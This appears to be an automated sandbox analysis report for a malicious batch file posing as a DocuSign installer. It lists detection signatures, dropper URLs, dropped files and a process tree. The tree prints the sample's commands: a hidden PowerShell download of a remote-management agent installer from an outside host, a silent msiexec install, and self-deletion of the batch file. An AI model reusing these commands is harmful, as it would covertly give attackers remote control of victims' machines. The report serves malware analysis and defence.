Overview

overview

10

Static

static

1

Docusign_I...er.bat

windows10-2004-x64

10

Docusign_I...er.bat

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    299s
  • max time network
    273s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/07/2026, 04:35

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Docusign_Installer.bat
  • Size 1KB
  • Sample260715-e7485sbx5n
  • SHA256 3ad57b6dbf81a3af0f8949e380f6790011d8e042abaaa7d3c203565a317bb3c0
  • MD5 SHA1 SHA512 TLSH
Score
10/10
discoveryexecution

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://update.microsoft.com

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://us-cdn.action1.com/builtin/00000000-0000-0000-0000-000000000000_0000000000000_builtin/file.dat
  • exe.dropper

    https://eu-cdn.action1.com/builtin/00000000-0000-0000-0000-000000000000_0000000000000_builtin/file.dat
  • exe.dropper

    https://au-cdn.action1.com/builtin/00000000-0000-0000-0000-000000000000_0000000000000_builtin/file.dat
  • exe.dropper

    https://ifconfig.me/ip

Signatures

  • Badlisted process makes network request 9 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 44 IoCs

    Using powershell.exe command.

    execution
  • Deletes itself 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 4 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 45 IoCs
  • Drops file in Windows directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 21 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 62 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Docusign_Installer.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3312
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3936
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:1616
      • C:\Windows\system32\reg.exe
        reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /f "Action1"
        2⤵
          PID:4572
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "try {Invoke-WebRequest -Uri 'https://app.na-2.action1.com/agent/7fdfa464-7f6a-11f1-b7e6-37df2a619ce9/Windows/agent(My_Organization).msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\pkg.msi' -ErrorAction Stop} catch {exit 1}"
          2⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:6064
        • C:\Windows\system32\msiexec.exe
          msiexec /i "C:\Users\Admin\AppData\Local\Temp\pkg.msi" /qn /norestart
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:5580
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "Start-Sleep -Seconds 2; Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Docusign_Installer.bat' -Force"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Deletes itself
          • Suspicious behavior: EnumeratesProcesses
          PID:3976
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe /V
        1⤵
        • Badlisted process makes network request
        • Enumerates connected drives
        • Drops file in Windows directory
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2704
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 01579E10983C5A0687C54CC232049E58
          2⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:5628
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 08302431255C8B20D7F9ACEFD6C7B183 E Global\MSI0000
          2⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:1968
      • C:\Windows\Action1\action1_agent.exe
        C:\Windows\Action1\action1_agent.exe service
        1⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5584
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1652
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1840
          • C:\Windows\Action1\action1_agent.exe
            "C:\Windows\Action1\action1_agent.exe" loggedonuser
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1556
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:2872
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1032
          • C:\Windows\Action1\action1_agent.exe
            "C:\Windows\Action1\action1_agent.exe" loggedonuser
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:5808
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:1400
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Hardware Summary_2037-1784023871.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4576
          • C:\Windows\Action1\action1_agent.exe
            "C:\Windows\Action1\action1_agent.exe" loggedonuser
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1140
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Updates_2010-1784023871.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          PID:2296
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Running Processes_2030-1784023871.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:1956
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\MS Outlook Versions_2043-1784023871.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4608
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Drivers_2024-1784023871.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4296
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Installed Printers_2025-1784023871.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4284
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Monitors_2026-1784023871.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:724
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Processx002FMemory Stats_2031-1784023871.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          PID:2508
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Services_2033-1784023871.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4864
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update Status_2064-1784023871.ps1"
          2⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3876
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Bitlocker Key_2046-1784023871.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:5004
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Action1 Agent Configuration_2066-1784023871.ps1"
          2⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4788
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update History_2044-1784023871.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          PID:5936
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Boot Configurations_2019-1784023871.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Drops file in Windows directory
          PID:904
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update Statistics_2039-1784023871.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          PID:3328
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Open Shared Resources_2018-1784023871.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          PID:1096
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Connections to Internet Domains_2040-1784023871.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3172
          • C:\Windows\system32\nslookup.exe
            "C:\Windows\system32\nslookup.exe" 134.33.185.96
            3⤵
              PID:5876
            • C:\Windows\system32\nslookup.exe
              "C:\Windows\system32\nslookup.exe" 44.241.5.109
              3⤵
                PID:1904
              • C:\Windows\system32\nslookup.exe
                "C:\Windows\system32\nslookup.exe" 199.232.214.172
                3⤵
                  PID:2712
                • C:\Windows\system32\nslookup.exe
                  "C:\Windows\system32\nslookup.exe" 150.171.110.193
                  3⤵
                    PID:5828
                  • C:\Windows\system32\nslookup.exe
                    "C:\Windows\system32\nslookup.exe" 10.127.0.1
                    3⤵
                      PID:4184
                    • C:\Windows\system32\nslookup.exe
                      "C:\Windows\system32\nslookup.exe" 10.127.0.1
                      3⤵
                        PID:3612
                      • C:\Windows\system32\nslookup.exe
                        "C:\Windows\system32\nslookup.exe" 10.127.0.1
                        3⤵
                        • Badlisted process makes network request
                        PID:6044
                      • C:\Windows\system32\nslookup.exe
                        "C:\Windows\system32\nslookup.exe" 10.127.0.1
                        3⤵
                          PID:3940
                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Environment Variables_2020-1784023871.ps1"
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        PID:4508
                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Disks Summary_2042-1784023871.ps1"
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        PID:5764
                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\SCSI Controllers_2027-1784023871.ps1"
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Drops file in Windows directory
                        • Modifies data under HKEY_USERS
                        PID:3400
                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\System Information_2023-1784023871.ps1"
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        PID:3236
                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\NTFS Disk Quotas_2035-1784023871.ps1"
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Drops file in Windows directory
                        • Modifies data under HKEY_USERS
                        PID:5064
                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Applied GPO x0028RSoPx0029_2022-1784023871.ps1"
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        PID:2032
                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Antivirus Status_2045-1784023871.ps1"
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Drops file in Windows directory
                        • Modifies data under HKEY_USERS
                        PID:2520
                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Network Adapters_2029-1784023871.ps1"
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        PID:5404
                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Sound Devices_2038-1784023871.ps1"
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        PID:6024
                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Disk Drives_2016-1784023871.ps1"
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Drops file in Windows directory
                        • Modifies data under HKEY_USERS
                        PID:1008
                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Startup Programs_2032-1784023871.ps1"
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Drops file in Windows directory
                        • Modifies data under HKEY_USERS
                        PID:6044
                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Routing Tables_2028-1784023871.ps1"
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Drops file in Windows directory
                        • Modifies data under HKEY_USERS
                        PID:5104
                        • C:\Windows\System32\Conhost.exe
                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                          3⤵
                            PID:4864
                        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Event Logs_2021-1784023871.ps1"
                          2⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          PID:1548
                        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows 11 Hardware Compatibility_2065-1784023871.ps1"
                          2⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Drops file in System32 directory
                          • Drops file in Windows directory
                          • Modifies data under HKEY_USERS
                          • Suspicious use of WriteProcessMemory
                          PID:3336
                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\SystemTemp\k301oso2\k301oso2.cmdline"
                            3⤵
                            • Drops file in Windows directory
                            • Suspicious use of WriteProcessMemory
                            PID:3400
                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\SystemTemp\RESF9D2.tmp" "c:\Windows\SystemTemp\k301oso2\CSCD943FF5AC2104E7797DBA0E08F8A42EA.TMP"
                              4⤵
                                PID:5004
                          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Disk Partitions_2034-1784023871.ps1"
                            2⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Drops file in System32 directory
                            • Modifies data under HKEY_USERS
                            PID:3912
                          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Connections to TCPx002FIP Addresses_2036-1784023871.ps1"
                            2⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Drops file in System32 directory
                            • Modifies data under HKEY_USERS
                            PID:3320
                          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Logon Statistics_2013-1784023871.ps1"
                            2⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Drops file in System32 directory
                            • Drops file in Windows directory
                            PID:1168
                          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\MOVEit Vulnerability Status_2050-1784023871.ps1"
                            2⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Drops file in System32 directory
                            PID:3632
                          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\WebP Vulnerability Status_2051-1784023871.ps1"
                            2⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Drops file in System32 directory
                            • Drops file in Windows directory
                            • Modifies data under HKEY_USERS
                            PID:6008

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              e59e141.rbs
                              • Path C:\Config.Msi\e59e141.rbs
                              • Size 240KB
                              • SHA256 6347324b1d01f87a5a69d0e24bfcbb77f6d6e1f5f07fa831a9c71de92c9cf44c
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              e59e142.rbs
                              • Path C:\Config.Msi\e59e142.rbs
                              • Size 7KB
                              • SHA256 5d8aa96ff85425e25207a8708425f905eeb531586dc73d26863835e3e37d9df2
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              ModuleAnalysisCache
                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                              • Size 67KB
                              • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              __PSScriptPolicyTest_wuiyz0f4.hxq.ps1
                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wuiyz0f4.hxq.ps1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              pkg.msi
                              • Path C:\Users\Admin\AppData\Local\Temp\pkg.msi
                              • Size 6.8MB
                              • SHA256 66debf86917df83671d18099230da8593f2a6368af6c81ed3987f95ea99db0c8
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              action1_agent.exe
                              • Path C:\Windows\Action1\action1_agent.exe
                              • Size 8.9MB
                              • SHA256 941695d20d82dd5d62f74b0111feb23720637202f6c797df2a02e2cb6cb6e8e3
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              advanced_settings.json
                              • Path C:\Windows\Action1\advanced_settings.json
                              • Size 54KB
                              • SHA256 b26394864903e27cb7e06bbde3d0103e7aec1e490b5b167deca7147a1fdff7f7
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              previousUser.txt
                              • Path C:\Windows\Action1\previousUser.txt
                              • Size 14B
                              • SHA256 4f0a53d44bf811b007f314ebf4d555ca5db8cf3bf662fb2f66119b4092cd099a
                              • MD5 SHA1 SHA512
                              Submit Download

                              Action1 Agent Configuration_2066-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\Action1 Agent Configuration_2066-1784023871.ps1
                              • Size 15KB
                              • SHA256 311faba15883013b7a9aa031dc5118da630a35c2337c5f1c0ab6802228505cfb
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              Bitlocker Key_2046-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\Bitlocker Key_2046-1784023871.ps1
                              • Size 1KB
                              • SHA256 c3b643ee4f71266cefd816afb4584d260a06d60da5b518f5b907ca61d3faca70
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              Boot Configurations_2019-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\Boot Configurations_2019-1784023871.ps1
